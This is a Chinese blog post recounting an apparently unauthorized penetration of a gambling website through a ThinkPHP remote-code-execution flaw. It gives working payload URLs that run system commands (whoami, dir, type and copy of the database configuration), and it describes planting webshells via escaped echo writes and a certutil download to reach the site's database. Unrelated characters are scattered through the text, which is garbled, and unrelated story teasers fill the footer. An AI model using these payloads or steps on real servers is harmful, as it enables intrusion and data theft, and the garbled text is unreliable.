對(duì)某菠菜網(wǎng)站的一次滲透測(cè)試

無(wú)意間發(fā)現(xiàn)一個(gè)thinkphp的菠菜站熬苍,最近tp不是剛好有個(gè)漏洞嗎稍走?

然后就順手測(cè)試了一下,但過(guò)程并不太順利,不過(guò)最后還是拿下了婿脸,所以特發(fā)此文分享下思路粱胜。

0x00 一鍵getshell?

簡(jiǎn)單看了下盖淡,應(yīng)該有不少人玩吧?


正好前幾天寫了個(gè)測(cè)試工具凿歼,先掏出來(lái)測(cè)試一發(fā)褪迟。

工具顯示存在漏洞

一鍵getshell,看起來(lái)很順利的樣子答憔,哈哈味赃。

但是...小明甩了下頭發(fā),發(fā)現(xiàn)事情并不簡(jiǎn)單虐拓。

菜刀連接的時(shí)候心俗,返回500錯(cuò)誤。

我們用火狐的hackbar驗(yàn)證下,沒(méi)毛病啊蓉驹,那為什么菜刀連接不上呢城榛?

作為菜逼的我不禁陷入了沉思...

0x01 開始分析

因?yàn)檫@個(gè)工具我自己寫的,從上面getshell的圖片中發(fā)現(xiàn)調(diào)用的是第三個(gè)exp态兴,那么我們來(lái)分析下看看狠持。

poc如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我們?cè)趐oc后面輸入whoami看看權(quán)限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis權(quán)限

但是可以執(zhí)行部分命令瞻润,比如echo dir等等喘垂。


0x02 嘗試突破拿shell

既然可以執(zhí)行echo 那么我們可以來(lái)嘗試寫入個(gè)小馬試試,如果成功的話绍撞,再利用小馬上傳大馬正勒,說(shuō)干就干,苦活來(lái)了傻铣,我們得一行一行寫入進(jìn)去章贞。

注意:代碼中的<>符號(hào),要用^^轉(zhuǎn)義非洲。比如<?php轉(zhuǎn)義為^<^?php

逐行寫入完成后阱驾,訪問(wèn)的時(shí)候發(fā)現(xiàn)并不能正常運(yùn)行,這里忘記截圖了怪蔑。里覆。

接下來(lái)嘗試用以下方法下載文件到服務(wù)器上也失敗了。

正當(dāng)我打算放棄的時(shí)候缆瓣,我想起來(lái)還有個(gè)下載的命令沒(méi)用喧枷。

那就是certutil.exe

說(shuō)干就干,把大馬放到我們服務(wù)器上,開啟HFS隧甚。

然后執(zhí)行以下命令车荔。

成功進(jìn)入大馬,不過(guò)別高興太早戚扳。

小明再次甩了下頭發(fā)忧便,發(fā)現(xiàn)事情更不簡(jiǎn)單....

大馬可以操作文件上傳改名等等开缎,但是無(wú)法編輯文件寞蚌,無(wú)法查看文件源碼等等,點(diǎn)開顯示一片空白葬馋。

既然這樣砍艾,那么我們進(jìn)數(shù)據(jù)庫(kù)看看吧蒂教。

我們都知道tp的數(shù)據(jù)庫(kù)配置文件在以下這個(gè)位置

/application/database.php

大馬是無(wú)法打開了,那么我們可以用tp的命令執(zhí)行漏洞嘗試用type命令去讀取這個(gè)文件脆荷。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php

嘗試type讀取失敗凝垛,然后又想到copy命令。

把database.php拷貝到web根目錄下蜓谋,改名為1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt

拷貝完成以后訪問(wèn)url/1.txt梦皮,發(fā)現(xiàn)里面是空的。


0x03 成功突破

經(jīng)歷了一系列的失敗后桃焕,我冷靜下來(lái)想了下届氢,我們還可以用file_path去讀取源碼試試。

用大馬上傳這個(gè)文件到根目錄下覆旭,然后訪問(wèn)退子,成功拿到數(shù)據(jù)庫(kù)配置信息。

然后填寫好配置信息型将,進(jìn)入數(shù)據(jù)庫(kù)寂祥。

此文寫到這里已經(jīng)夜深人靜,看著桌子上吃了一半的泡面七兜,最后喝了兩口湯丸凭,關(guān)機(jī),睡覺(jué)......

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末腕铸,一起剝皮案震驚了整個(gè)濱河市惜犀,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌狠裹,老刑警劉巖虽界,帶你破解...
    沈念sama閱讀 221,695評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異涛菠,居然都是意外死亡莉御,警方通過(guò)查閱死者的電腦和手機(jī)撇吞,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)礁叔,“玉大人牍颈,你說(shuō)我怎么就攤上這事±殴兀” “怎么了煮岁?”我有些...
    開封第一講書人閱讀 168,130評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)涣易。 經(jīng)常有香客問(wèn)我画机,道長(zhǎng),這世上最難降的妖魔是什么都毒? 我笑而不...
    開封第一講書人閱讀 59,648評(píng)論 1 297
  • 正文 為了忘掉前任色罚,我火速辦了婚禮碰缔,結(jié)果婚禮上账劲,老公的妹妹穿的比我還像新娘。我一直安慰自己金抡,他們只是感情好瀑焦,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,655評(píng)論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著梗肝,像睡著了一般榛瓮。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上巫击,一...
    開封第一講書人閱讀 52,268評(píng)論 1 309
  • 那天禀晓,我揣著相機(jī)與錄音,去河邊找鬼坝锰。 笑死粹懒,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的顷级。 我是一名探鬼主播凫乖,決...
    沈念sama閱讀 40,835評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼弓颈!你這毒婦竟也來(lái)了帽芽?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,740評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤翔冀,失蹤者是張志新(化名)和其女友劉穎导街,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體纤子,經(jīng)...
    沈念sama閱讀 46,286評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡菊匿,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,375評(píng)論 3 340
  • 正文 我和宋清朗相戀三年付呕,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片跌捆。...
    茶點(diǎn)故事閱讀 40,505評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡徽职,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出佩厚,到底是詐尸還是另有隱情姆钉,我是刑警寧澤,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布抄瓦,位于F島的核電站潮瓶,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏钙姊。R本人自食惡果不足惜毯辅,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,873評(píng)論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望煞额。 院中可真熱鬧思恐,春花似錦、人聲如沸膊毁。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,357評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)婚温。三九已至描焰,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間栅螟,已是汗流浹背荆秦。 一陣腳步聲響...
    開封第一講書人閱讀 33,466評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留力图,地道東北人步绸。 一個(gè)月前我還...
    沈念sama閱讀 48,921評(píng)論 3 376
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像搪哪,于是被迫代替她去往敵國(guó)和親靡努。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,515評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容